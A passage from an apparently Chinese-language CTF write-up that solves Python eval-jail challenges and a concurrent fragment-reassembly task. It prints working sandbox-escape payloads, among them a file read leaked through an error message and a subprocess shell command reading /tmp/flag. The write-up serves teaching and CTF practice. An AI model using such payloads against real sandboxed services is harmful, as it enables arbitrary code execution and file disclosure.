</div></div><div><div><div>14</div></div><div><span>def</span><span> </span><span>chall</span><span>():</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>MOD</span><span> </span><span>=</span><span> </span><span>15</span></div></div><div><div><div>16</div></div><div><span><span>    </span></span><span>seed </span><span>=</span><span> </span><span>int</span><span><span>(time.</span><span>time</span><span>())</span></span></div></div><div><div><div>17</div></div><div><span><span>    </span></span><span>r </span><span>=</span><span> </span><span>Random</span><span>(seed)</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>gift </span><span>=</span><span> [r.</span><span>random</span><span>(</span><span>MOD</span><span>) </span><span>for</span><span> _ </span><span>in</span><span> </span><span>range</span><span>(</span><span>3</span><span>)]</span></div></div><div><div><div>19</div></div><div><span>    </span><span>print</span><span>(</span><span>"Wlecome to the word of mathmagic!"</span><span>)</span></div></div><div><div><div>20</div></div><div><span>    </span><span>print</span><span>(</span><span>"I hope you like the puzzle I prepared for you."</span><span>)</span></div></div><div><div><div>21</div></div><div><span>    </span><span>print</span><span>(</span><span>'I will give you a gift!'</span><span>)</span></div></div><div><div><div>22</div></div><div><span>    </span><span>print</span><span>(</span><span>'I hope you like it. Here is your gift:'</span><span>)</span></div></div><div><div><div>23</div></div><div><span>    </span><span>print</span><span>(gift)</span></div></div><div><div><div>24</div></div><div><span>    </span><span>print</span><span>(</span><span>"Now, I will give you the puzzle!"</span><span>)</span></div></div><div><div><div>25</div></div><div><span>    </span><span>print</span><span>(</span><span>"Have fun!"</span><span>)</span></div></div><div><div><div>26</div></div><div><span><span>    </span></span><span>CODE</span><span> </span><span>=</span><span> </span><span>''</span></div></div><div><div><div>27</div></div><div>
</div></div><div><div><div>28</div></div><div><span>    </span><span>while</span><span><span> code</span><span>:=</span></span><span>input</span><span>(</span><span>'&gt;&gt; '</span><span><span>).</span><span>strip</span><span>():</span></span></div></div><div><div><div>29</div></div><div><span>        </span><span>if</span><span> </span><span>len</span><span><span>(code) </span><span>!=</span><span> r.</span><span>random</span><span>(</span><span>MOD</span><span>):</span></span></div></div><div><div><div>30</div></div><div><span>            </span><span>raise</span><span> </span><span>ValueError</span><span>(</span><span>"Invalid code length! You are not a genius!"</span><span>)</span></div></div><div><div><div>31</div></div><div><span><span>        </span></span><span>CODE</span><span> </span><span>+=</span><span> code </span><span>+</span><span> </span><span>'</span><span>\n</span><span>'</span></div></div><div><div><div>32</div></div><div><span>    </span><span>print</span><span>(</span><span>"Good job! You are a genius!"</span><span>)</span></div></div><div><div><div>33</div></div><div><span>    </span><span>eval</span><span><span>(</span><span>CODE</span><span>,{</span></span><span>'__builtins__'</span><span>: {}})</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h3>only_open<a href="#only_open"><span>#</span></a></h3><blockquote><p>starwalking，你别躲在里面不出声，我知道你在open，你有本事open，怎么没本事read哪。read呐，你有本事open，你有本事read呐，read，read，快read，starwalking快read，别躲里面不出声，我知道你在open。</p><p>友情提示: flag在/tmp/flag</p></blockquote><p>先看代码，分析防御手段：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>def</span><span> </span><span>chall</span><span>():</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>safe_globals</span><span>=</span><span>{</span></div></div><div><div><div>3</div></div><div><span>        </span><span>'open'</span><span>:</span><span>open</span><span>,</span></div></div><div><div><div>4</div></div><div><span>        </span><span>'__builtins__'</span><span> : {}</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>blacklist </span><span>=</span><span> [</span><span>'_'</span><span>,</span><span>'.'</span><span>,</span><span>'</span><span>\\</span><span>'</span><span>]</span></div></div><div><div><div>8</div></div><div><span>    </span><span>while</span><span> </span><span>True</span><span>:</span></div></div><div><div><div>9</div></div><div><span>        </span><span>try</span><span>:</span></div></div><div><div><div>10</div></div><div><span><span>            </span></span><span>message </span><span>=</span><span> </span><span>input</span><span>(</span><span>'Give me your code: '</span><span><span>).</span><span>encode</span><span>(</span></span><span>'ascii'</span><span><span>).</span><span>decode</span><span>(</span></span><span>'ascii'</span><span>)</span></div></div><div><div><div>11</div></div><div><span>            </span><span>if</span><span> </span><span>any</span><span>(b </span><span>in</span><span> blacklist </span><span>for</span><span> b </span><span>in</span><span> message):</span></div></div><div><div><div>12</div></div><div><span>                </span><span>raise</span><span> </span><span>RuntimeError</span><span>(</span><span>'Can</span><span>\'</span><span>t input any characters in blacklist'</span><span>)</span></div></div><div><div><div>13</div></div><div><span>            </span><span>eval</span><span>(message,safe_globals)</span></div></div><div><div><div>14</div></div><div><span>        </span><span>except</span><span> </span><span>Exception</span><span> </span><span>as</span><span> e:</span></div></div><div><div><div>15</div></div><div><span>            </span><span>print</span><span>(</span><span>f</span><span>'</span><span>{</span><span>type</span><span>(e).</span><span>__name__</span><span>}</span><span> : </span><span>{</span><span>e</span><span>}</span><span>'</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>首先是置空 <code>__builtins__</code> ，这意味着几乎所有的内置函数都无法直接使用，注意到其还保留了一个缺口 <code>open</code> ，如果只是这样的话只需要访问 <code>open.__globals__['__builtins__']</code> 即可拿回正常环境中的内置模块。然而下面黑名单中展示了 <code>_</code> ，则无法直接使用 <code>__builtins__</code> 等类似的魔法属性，而屏蔽了 <code>\</code> ，这使得无法通过 <code>\x5f</code> 或者 <code>\137</code> 转义动态生成 <code>_</code> 来绕过黑名单。对于 <code>.</code> 的屏蔽是防止直接使用 <code>open("/tmp/flag").read()</code> ，因为这个显然不属于 CTF 考点。而 <code>.encode('ascii').decode('ascii')</code> 是防止通过 <strong>Unicode 混淆攻击</strong>来绕过屏蔽字符（见题目 <em>3z_ban_jail</em> ）</p><p>缺口 <code>open</code> 一定是本题关键，不然直接置空 <code>__builtins__</code> 即可，有什么办法可以得到 <code>open</code> 的返回呢？</p><p><code>open</code> 是一个可迭代对象，想要获取文件内容，除了使用 <code>read()</code> 以外还可以对其进行<strong>解构</strong>，我们可以使用数组来承载解构后的结果（元组、集合亦可，但要注意的是用元组承载时要额外加一个逗号来向解释器说明这是元组而不是分组表达式用的圆括号 <code>(*open("/tmp/flag"),)</code> ），即 <code>[*open("/tmp/flag")]</code> 。</p><p>由于 <code>eval()</code> 不会直接输出表达式的值，所以我们要让数组显示出来得寻找别的方法。正常的输出函数由于 <code>__builtins__</code> 的置空已经失效，但是我们可以从“非正常（abnormal）”角度来思考，<span><span>abnormal=errorabnormal=error</span><span><span><span></span><span>abn</span><span>or</span><span>ma</span><span>l</span><span></span><span>=</span><span></span></span><span><span></span><span>er</span><span>r</span><span>or</span></span></span></span> ，所以我们想到通过<strong>错误回显</strong>的方式来输出（doge）。（其实是从代码中存在主动捕获错误 （<code>try...except...</code>） 的处理可以发现错误回显的思路）</p><p>常见的错误回显方式如构造<strong>空字典</strong>然后使用 <code>[key]</code> 访问里面的内容，显然不可能访问到，于是会报错 <code>KeyError</code> ，在回显中会显示 <code>key</code> 的值，我们只要用格式化字符串 <code>f"{[*open("/tmp/flag")]}"</code> 来将数组强制转化为字符串来作为 <code>key</code> 即可得到数组内容也即文件内容。注意这边并<strong>不能</strong>构造数组，因为数组传入字符串索引会报的 <code>TypeError: list indices must be integers or slices, not str</code> 是不会回显具体索引的。</p></section><section><h3>Equals<a href="#equals"><span>#</span></a></h3><blockquote><p>听说你数学很好，试试让等式成立？</p></blockquote><p>题目的判定标准是，对于 <code>code</code> 需满足 <span><span>∑ord(c)=len2(code),c∈code\sum ord(c) = len^2(code), c \in code</span><span><span><span></span><span>∑</span><span></span><span>or</span><span>d</span><span>(</span><span>c</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span>l</span><span>e</span><span><span>n</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>(</span><span>co</span><span>d</span><span>e</span><span>)</span><span>,</span><span></span><span>c</span><span></span><span>∈</span><span></span></span><span><span></span><span>co</span><span>d</span><span>e</span></span></span></span> 。由于等式右边初始值过小，左边对于可见字符而言最小也是 <code>32</code> ，所以输入比较短的代码基本上无法满足。但是注意到左边是近似线性增长，右边是幂增长，所以当代码长度增加时右边最后会超过左边。想到让代码增长但又不影响其功能，首先想到就是注释 <code>#</code> ，我们只需要构造出一个后面缀有特定字符作为注释的 Payload 即可。</p><p>接下来推导构建方法，这里涉及到简单的初中数学知识。假设对于原来的代码设为 <span><span>codecode</span><span><span><span></span><span>co</span><span>d</span><span>e</span></span></span></span> ，其中的字符设为 <span><span>cc</span><span><span><span></span><span>c</span></span></span></span> ，下一步要新增的字符设为 <span><span>nn</span><span><span><span></span><span>n</span></span></span></span> ：</p><span><span><span>∑ord(c)+ord(n)=(len(code)+1)2ord(n)=len2(code)+2len(code)+1−∑ord(c)\begin{aligned}
\sum ord(c)+ord(n)&amp;=(len(code)+1)^2 \\
ord(n)&amp;=len^2(code)+2len(code)+1-\sum ord(c)
\end{aligned}</span><span><span><span></span><span><span><span><span><span><span><span><span></span><span><span>∑</span><span></span><span>or</span><span>d</span><span>(</span><span>c</span><span>)</span><span></span><span>+</span><span></span><span>or</span><span>d</span><span>(</span><span>n</span><span>)</span></span></span><span><span></span><span><span>or</span><span>d</span><span>(</span><span>n</span><span>)</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span><span><span><span><span><span></span><span><span></span><span></span><span>=</span><span></span><span>(</span><span>l</span><span>e</span><span>n</span><span>(</span><span>co</span><span>d</span><span>e</span><span>)</span><span></span><span>+</span><span></span><span>1</span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span><span><span></span><span><span></span><span></span><span>=</span><span></span><span>l</span><span>e</span><span><span>n</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>(</span><span>co</span><span>d</span><span>e</span><span>)</span><span></span><span>+</span><span></span><span>2</span><span>l</span><span>e</span><span>n</span><span>(</span><span>co</span><span>d</span><span>e</span><span>)</span><span></span><span>+</span><span></span><span>1</span><span></span><span>−</span><span></span><span>∑</span><span></span><span>or</span><span>d</span><span>(</span><span>c</span><span>)</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span></span><p>也就是说我们只要让下一个添加的字符的 ascii 码尽可能接近我们当前整个代码的那一大串值（上式中等号右侧）即可。由于在前面很长一段的里面等号右边的值都是负数，所以我们只需要添加尽可能小的字符，也就是空格，其 ascii 为 <code>32</code> 。由于右侧是幂增长，一旦超过左侧就无法被赶上了，所以当我们右侧第一次或者第二次大于 0 的时候大概率就是为数不多可能存在一个可见字符 <span><span>nn</span><span><span><span></span><span>n</span></span></span></span> 满足等式的情况了（第一次大于零的时候可能小于 32 ，这时需要看第二次），这时候只需找到对应 <span><span>nn</span><span><span><span></span><span>n</span></span></span></span> 即可。<strong>需要注意的是如果原 Payload 过长有可能出现无法构造的情况</strong>。</p><p>对以下 Payload 进行构造：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>print</span><span>(</span><span>__import__</span><span>(</span><span>"subprocess"</span><span><span>).</span><span>run</span><span>(</span></span><span>"cat /tmp/flag"</span><span>,</span><span>shell</span><span>=</span><span>True</span><span>,</span><span>stdout</span><span>=</span><span>True</span><span>).stdout)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在添加了 <code>#</code> 与五个空格后设等式右边为 <span><span>tt</span><span><span><span></span><span>t</span></span></span></span>  ，此时 <span><span>t=100t=100</span><span><span><span></span><span>t</span><span></span><span>=</span><span></span></span><span><span></span><span>100</span></span></span></span> ，满足关系式 <span><span>32≤t≤12632\leq t\leq 126</span><span><span><span></span><span>32</span><span></span><span>≤</span><span></span></span><span><span></span><span>t</span><span></span><span>≤</span><span></span></span><span><span></span><span>126</span></span></span></span> 。则 <span><span>n=chr(t)n=chr(t)</span><span><span><span></span><span>n</span><span></span><span>=</span><span></span></span><span><span></span><span>c</span><span>h</span><span>r</span><span>(</span><span>t</span><span>)</span></span></span></span> ，n 取 <code>'d'</code> 。</p><p>最终得到的 Payload 如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>print</span><span>(</span><span>__import__</span><span>(</span><span>"subprocess"</span><span><span>).</span><span>run</span><span>(</span></span><span>"cat /tmp/flag"</span><span>,</span><span>shell</span><span>=</span><span>True</span><span>,</span><span>stdout</span><span>=</span><span>True</span><span>).stdout)</span><span>#     d</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h2>开发与运维基础<a href="#开发与运维基础"><span>#</span></a></h2><section><h3>碎片风暴<a href="#碎片风暴"><span>#</span></a></h3><blockquote><p>服务器突然涌入了大量的并发请求！而且每个请求体里，都只带了一小段零碎的字符串。</p><p>运维人员抓包后发现，这些字符串似乎是某个重要机密（Flag）的碎片。它们没有序号、没有偏移量，顺序完全是乱的。</p><p>你能写一个高性能的服务，接住这些高并发请求，并把完整的 Flag 拼凑出来吗？</p></blockquote><p>首先先要确认请求的格式，通过以下 Python 代码：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>python3</span><span> </span><span>-c</span><span> </span><span>"import socket; s=socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1); s.bind(('0.0.0.0', 3000)); s.settimeout(3); s.listen(1); c,a=s.accept(); print(c.recv(4096).decode(errors='ignore')); c.close(); s.close()"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>可以捕获其中一个“碎片”：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>POST / HTTP/1.1</span></div></div><div><div><div>2</div></div><div><span>Host: 127.0.0.1:3000</span></div></div><div><div><div>3</div></div><div><span>User-Agent: Go-http-client/1.1</span></div></div><div><div><div>4</div></div><div><span>Content-Length: 4</span></div></div><div><div><div>5</div></div><div><span>Content-Type: text/plain</span></div></div><div><div><div>6</div></div><div><span>Accept-Encoding: gzip</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>n_Bu</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>可以知道是标准的 POST 请求，于是编写 Python 代码进行简单的捕获，然后再用题目附件给的 SCS 求解函数进行拼接，最终得到 flag 。（<s>当然理论上用该 Python 代码提交 n 次也可以得到完整的 flag </s>）</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> asyncio</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span><span>frags </span><span>=</span><span> </span></span><span>set</span><span>()</span></div></div><div><div><div>4</div></div><div><span><span>lock </span><span>=</span><span> asyncio.</span><span>Lock</span><span>()</span></span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>def</span><span> </span><span>solve_scs</span><span>(</span><span>fragments</span><span>:</span><span> list[</span><span>str</span><span>]</span><span>) -&gt; tuple[</span><span>str</span><span>, </span><span>bool</span><span>]:</span></div></div><div><div><div>7</div></div><div><span>    </span><span>"""</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>Shortest Common Superstring solver.</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>Args:</span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>fragments: 碎片列表（可含重复）</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>Returns:</span></div></div><div><div><div>13</div></div><div><span><span>        </span></span><span>(result, is_success)</span></div></div><div><div><div>14</div></div><div><span><span>        </span></span><span>- result: 还原后的字符串</span></div></div><div><div><div>15</div></div><div><span><span>        </span></span><span>- is_success: True = 贪心结果唯一可信；False = 存在歧义或碎片不连续</span></div></div><div><div><div>16</div></div><div><span><span>    </span></span><span>"""</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span>    </span><span>from</span><span> itertools </span><span>import</span><span> permutations</span></div></div><div><div><div>19</div></div><div>
</div></div><div><div><div>20</div></div><div><span>    </span><span># 1. 去重 + 去冗余（被其他片段包含的直接丢弃）</span></div></div><div><div><div>21</div></div><div><span><span>    </span></span><span>frags </span><span>=</span><span> </span><span>list</span><span>(</span><span>dict</span><span><span>.</span><span>fromkeys</span><span>(fragments))           </span></span><span># 去重，保序</span></div></div><div><div><div>22</div></div><div><span><span>    </span></span><span>frags </span><span>=</span><span> [</span></div></div><div><div><div>23</div></div><div><span><span>        </span></span><span>f </span><span>for</span><span> f </span><span>in</span><span> frags</span></div></div><div><div><div>24</div></div><div><span>        </span><span>if</span><span> </span><span>not</span><span> </span><span>any</span><span>(f </span><span>in</span><span> g </span><span>for</span><span> g </span><span>in</span><span> frags </span><span>if</span><span><span> g </span><span>!=</span><span> f)</span></span></div></div><div><div><div>25</div></div><div><span><span>    </span></span><span>]</span></div></div><div><div><div>26</div></div><div>
</div></div><div><div><div>27</div></div><div><span>    </span><span>if</span><span> </span><span>not</span><span> frags:</span></div></div><div><div><div>28</div></div><div><span>        </span><span>return</span><span> (</span><span>""</span><span>, </span><span>False</span><span>)</span></div></div><div><div><div>29</div></div><div><span>    </span><span>if</span><span> </span><span>len</span><span><span>(frags) </span><span>==</span><span> </span></span><span>1</span><span>:</span></div></div><div><div><div>30</div></div><div><span>        </span><span>return</span><span> (frags[</span><span>0</span><span>], </span><span>True</span><span>)</span></div></div><div><div><div>31</div></div><div>
</div></div><div><div><div>32</div></div><div><span>    </span><span>def</span><span> </span><span>max_overlap</span><span>(</span><span>a</span><span>:</span><span> </span><span>str</span><span>,</span><span><span> </span><span>b</span></span><span>:</span><span> </span><span>str</span><span>) -&gt; </span><span>int</span><span>:</span></div></div><div><div><div>33</div></div><div><span>        </span><span>"""a 的后缀与 b 的前缀的最大重叠长度"""</span></div></div><div><div><div>34</div></div><div><span><span>        </span></span><span>limit </span><span>=</span><span> </span><span>min</span><span>(</span><span>len</span><span>(a), </span><span>len</span><span>(b))</span></div></div><div><div><div>35</div></div><div><span>        </span><span>for</span><span> ol </span><span>in</span><span> </span><span>range</span><span>(limit, </span><span>0</span><span><span>, </span><span>-</span></span><span>1</span><span>):</span></div></div><div><div><div>36</div></div><div><span>            </span><span>if</span><span><span> a.</span><span>endswith</span><span>(b[:ol]):</span></span></div></div><div><div><div>37</div></div><div><span>                </span><span>return</span><span> ol</span></div></div><div><div><div>38</div></div><div><span>        </span><span>return</span><span> </span><span>0</span></div></div><div><div><div>39</div></div><div>
</div></div><div><div><div>40</div></div><div><span>    </span><span>def</span><span> </span><span>greedy_merge</span><span>(</span><span>pool</span><span>:</span><span> list[</span><span>str</span><span>]</span><span>) -&gt; </span><span>str</span><span>:</span></div></div><div><div><div>41</div></div><div><span>        </span><span>"""贪心：每轮合并重叠最大的一对"""</span></div></div><div><div><div>42</div></div><div><span><span>        </span></span><span>pool </span><span>=</span><span> pool[:]</span></div></div><div><div><div>43</div></div><div><span>        </span><span>while</span><span> </span><span>len</span><span><span>(pool) </span><span>&gt;</span><span> </span></span><span>1</span><span>:</span></div></div><div><div><div>44</div></div><div><span><span>            </span></span><span>best_ol, bi, bj </span><span>=</span><span> </span><span>-</span><span>1</span><span>, </span><span>0</span><span>, </span><span>1</span></div></div><div><div><div>45</div></div><div><span>            </span><span>for</span><span> i </span><span>in</span><span> </span><span>range</span><span>(</span><span>len</span><span>(pool)):</span></div></div><div><div><div>46</div></div><div><span>                </span><span>for</span><span> j </span><span>in</span><span> </span><span>range</span><span>(</span><span>len</span><span>(pool)):</span></div></div><div><div><div>47</div></div><div><span>                    </span><span>if</span><span><span> i </span><span>==</span><span> j:</span></span></div></div><div><div><div>48</div></div><div><span>                        </span><span>continue</span></div></div><div><div><div>49</div></div><div><span><span>                    </span></span><span>ol </span><span>=</span><span> </span><span>max_overlap</span><span>(pool[i], pool[j])</span></div></div><div><div><div>50</div></div><div><span>                    </span><span>if</span><span><span> ol </span><span>&gt;</span><span> best_ol:</span></span></div></div><div><div><div>51</div></div><div><span><span>                        </span></span><span>best_ol, bi, bj </span><span>=</span><span> ol, i, j</span></div></div><div><div><div>52</div></div><div><span><span>            </span></span><span>merged </span><span>=</span><span> pool[bi] </span><span>+</span><span> pool[bj][best_ol:]</span></div></div><div><div><div>53</div></div><div><span><span>            </span></span><span>pool </span><span>=</span><span> [merged] </span><span>+</span><span> [pool[k] </span><span>for</span><span> k </span><span>in</span><span> </span><span>range</span><span>(</span><span>len</span><span>(pool)) </span><span>if</span><span> k </span><span>not</span><span> </span><span>in</span><span> (bi, bj)]</span></div></div><div><div><div>54</div></div><div><span>        </span><span>return</span><span> pool[</span><span>0</span><span>]</span></div></div><div><div><div>55</div></div><div>
</div></div><div><div><div>56</div></div><div><span>    </span><span># 2. 片段数量少时用暴力</span></div></div><div><div><div>57</div></div><div><span>    </span><span>#    片段数量多时用贪心</span></div></div><div><div><div>58</div></div><div><span><span>    </span></span><span>EXACT_THRESHOLD</span><span> </span><span>=</span><span> </span><span>8</span></div></div><div><div><div>59</div></div><div>
</div></div><div><div><div>60</div></div><div><span>    </span><span>if</span><span> </span><span>len</span><span><span>(frags) </span><span>&lt;=</span><span> </span><span>EXACT_THRESHOLD</span><span>:</span></span></div></div><div><div><div>61</div></div><div><span>        </span><span># 枚举所有排列，找真正最短的公共超串</span></div></div><div><div><div>62</div></div><div><span><span>        </span></span><span>best: </span><span>str</span><span><span> </span><span>|</span><span> </span></span><span>None</span><span><span> </span><span>=</span><span> </span></span><span>None</span></div></div><div><div><div>63</div></div><div><span>        </span><span>for</span><span> perm </span><span>in</span><span><span> </span><span>permutations</span><span>(frags):</span></span></div></div><div><div><div>64</div></div><div><span>            </span><span># 按排列顺序依次合并</span></div></div><div><div><div>65</div></div><div><span><span>            </span></span><span>cur </span><span>=</span><span> perm[</span><span>0</span><span>]</span></div></div><div><div><div>66</div></div><div><span>            </span><span>for</span><span> nxt </span><span>in</span><span> perm[</span><span>1</span><span>:]:</span></div></div><div><div><div>67</div></div><div><span><span>                </span></span><span>ol </span><span>=</span><span> </span><span>max_overlap</span><span>(cur, nxt)</span></div></div><div><div><div>68</div></div><div><span><span>                </span></span><span>cur </span><span>+=</span><span> nxt[ol:]</span></div></div><div><div><div>69</div></div><div><span>            </span><span>if</span><span> best </span><span>is</span><span> </span><span>None</span><span> </span><span>or</span><span> </span><span>len</span><span><span>(cur) </span><span>&lt;</span><span> </span></span><span>len</span><span>(best):</span></div></div><div><div><div>70</div></div><div><span><span>                </span></span><span>best </span><span>=</span><span> cur</span></div></div><div><div><div>71</div></div><div>
</div></div><div><div><div>72</div></div><div><span>        </span><span># 检查贪心结果是否与精确结果一致</span></div></div><div><div><div>73</div></div><div><span><span>        </span></span><span>greedy_result </span><span>=</span><span> </span><span>greedy_merge</span><span>(frags)</span></div></div><div><div><div>74</div></div><div><span><span>        </span></span><span>is_success </span><span>=</span><span> (greedy_result </span><span>==</span><span> best)</span></div></div><div><div><div>75</div></div><div><span>        </span><span>return</span><span> (best, is_success)     </span><span># type: ignore[return-value]</span></div></div><div><div><div>76</div></div><div>
</div></div><div><div><div>77</div></div><div><span>    </span><span>else</span><span>:</span></div></div><div><div><div>78</div></div><div><span>        </span><span># 片段太多，只跑贪心</span></div></div><div><div><div>79</div></div><div><span><span>        </span></span><span>result </span><span>=</span><span> </span><span>greedy_merge</span><span>(frags)</span></div></div><div><div><div>80</div></div><div><span><span>        </span></span><span>is_success </span><span>=</span><span> </span><span>all</span><span>(f </span><span>in</span><span> result </span><span>for</span><span> f </span><span>in</span><span> frags)</span></div></div><div><div><div>81</div></div><div><span>        </span><span>return</span><span> (result, is_success)</span></div></div><div><div><div>82</div></div><div>
</div></div><div><div><div>83</div></div><div><span>async</span><span> </span><span>def</span><span> </span><span>handle</span><span>(</span><span>reader</span><span>,</span><span><span> </span><span>writer</span></span><span>):</span></div></div><div><div><div>84</div></div><div><span><span>    </span></span><span>data </span><span>=</span><span> </span><span>await</span><span><span> reader.</span><span>readuntil</span><span>(</span></span><span>b</span><span>'</span><span>\r\n\r\n</span><span>'</span><span>)</span></div></div><div><div><div>85</div></div><div><span><span>    </span></span><span>text </span><span>=</span><span> data.</span><span>decode</span><span>(</span><span>'utf-8'</span><span>)</span></div></div><div><div><div>86</div></div><div>
</div></div><div><div><div>87</div></div><div><span><span>    </span></span><span>content_length </span><span>=</span><span> </span><span>0</span></div></div><div><div><div>88</div></div><div><span>    </span><span>for</span><span> line </span><span>in</span><span><span> text.</span><span>split</span><span>(</span></span><span>'</span><span>\r\n</span><span>'</span><span>):</span></div></div><div><div><div>89</div></div><div><span>        </span><span>if</span><span><span> line.</span><span>startswith</span><span>(</span></span><span>'Content-Length:'</span><span>):</span></div></div><div><div><div>90</div></div><div><span><span>            </span></span><span>content_length </span><span>=</span><span> </span><span>int</span><span><span>(line.</span><span>split</span><span>(</span></span><span>':'</span><span>)[</span><span>1</span><span><span>].</span><span>strip</span><span>())</span></span></div></div><div><div><div>91</div></div><div><span>            </span><span>break</span></div></div><div><div><div>92</div></div><div><span>    </span><span>try</span><span>:</span></div></div><div><div><div>93</div></div><div><span><span>        </span></span><span>body </span><span>=</span><span> </span><span>await</span><span><span> reader.</span><span>readexactly</span><span>(content_length) </span></span><span>if</span><span><span> content_length </span><span>&gt;</span><span> </span></span><span>0</span><span> </span><span>else</span><span> </span><span>b</span><span>''</span></div></div><div><div><div>94</div></div><div><span>    </span><span>except</span><span> </span><span>Exception</span><span> </span><span>as</span><span> e:</span></div></div><div><div><div>95</div></div><div><span>        </span><span>print</span><span>(</span><span>f</span><span>'Error reading request: </span><span>{</span><span>e</span><span>}</span><span>'</span><span>)</span></div></div><div><div><div>96</div></div><div><span><span>        </span></span><span>writer.</span><span>close</span><span>()</span></div></div><div><div><div>97</div></div><div><span>        </span><span>await</span><span><span> writer.</span><span>wait_closed</span><span>()</span></span></div></div><div><div><div>98</div></div><div><span>        </span><span>return</span></div></div><div><div><div>99</div></div><div>
</div></div><div><div><div>100</div></div><div><span>    </span><span>async</span><span> </span><span>with</span><span> lock:    </span><span># 注意这里要加锁</span></div></div><div><div><div>101</div></div><div><span><span>        </span></span><span>frags.</span><span>add</span><span>(body.</span><span>decode</span><span>(</span><span>'utf-8'</span><span>))</span></div></div><div><div><div>102</div></div><div><span><span>        </span></span><span>res </span><span>=</span><span> </span><span>solve_scs</span><span>(</span><span>list</span><span>(frags))</span></div></div><div><div><div>103</div></div><div><span>        </span><span>if</span><span> res[</span><span>0</span><span><span>].</span><span>startswith</span><span>(</span></span><span>'moectf{'</span><span>) </span><span>and</span><span> res[</span><span>0</span><span><span>].</span><span>endswith</span><span>(</span></span><span>'}'</span><span>):</span></div></div><div><div><div>104</div></div><div><span>            </span><span>print</span><span>(</span><span>f</span><span>'Found the flag: </span><span>{</span><span>r·es[</span><span>0</span><span>]</span><span>}</span><span>'</span><span>)</span></div></div><div><div><div>105</div></div><div>
</div></div><div><div><div>106</div></div><div><span><span>    </span></span><span>writer.</span><span>write</span><span>(</span><span>b</span><span>'HTTP/1.1 200 OK</span><span>\r\n\r\n</span><span>'</span><span>)</span></div></div><div><div><div>107</div></div><div><span>    </span><span>await</span><span><span> writer.</span><span>drain</span><span>()</span></span></div></div><div><div><div>108</div></div><div><span><span>    </span></span><span>writer.</span><span>close</span><span>()</span></div></div><div><div><div>109</div></div><div><span>    </span><span>await</span><span><span> writer.</span><span>wait_closed</span><span>()</span></span></div></div><div><div><div>110</div></div><div>
</div></div><div><div><div>111</div></div><div><span>async</span><span> </span><span>def</span><span> </span><span>main</span><span>():</span></div></div><div><div><div>112</div></div><div><span><span>    </span></span><span>server </span><span>=</span><span> </span><span>await</span><span><span> asyncio.</span><span>start_server</span><span>(handle, </span></span><span>'0.0.0.0'</span><span>, </span><span>3000</span><span>)</span></div></div><div><div><div>113</div></div><div><span>    </span><span>print</span><span>(</span><span>'Server running on http://0.0.0.0:3000'</span><span>)</span></div></div><div><div><div>114</div></div><div><span>    </span><span>await</span><span><span> server.</span><span>serve_forever</span><span>()</span></span></div></div><div><div><div>115</div></div><div>
</div></div><div><div><div>116</div></div><div><span><span>asyncio.</span><span>run</span><span>(</span><span>main</span><span>())</span></span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>得到 flag 为 <code>moectf{BY-us1NG-IANGU4g35-We_c@n_BuILD_V4rI0US_pIATF0rms-and-applications0}</code> 。</p><p>需要注意的是这里有一个高并发下的锁处理，避免多线程同时修改 <code>frags</code> 时造成<strong>数据竞争</strong>。另外本程序为一次性程序，不是很健壮，且在拿到 flag 以后没有判定 <code>is_success == True</code> 后退出，仍然会继续运行造成 flag 刷屏，<s>Ctrl + C 即可</s> 。</p></section></section>
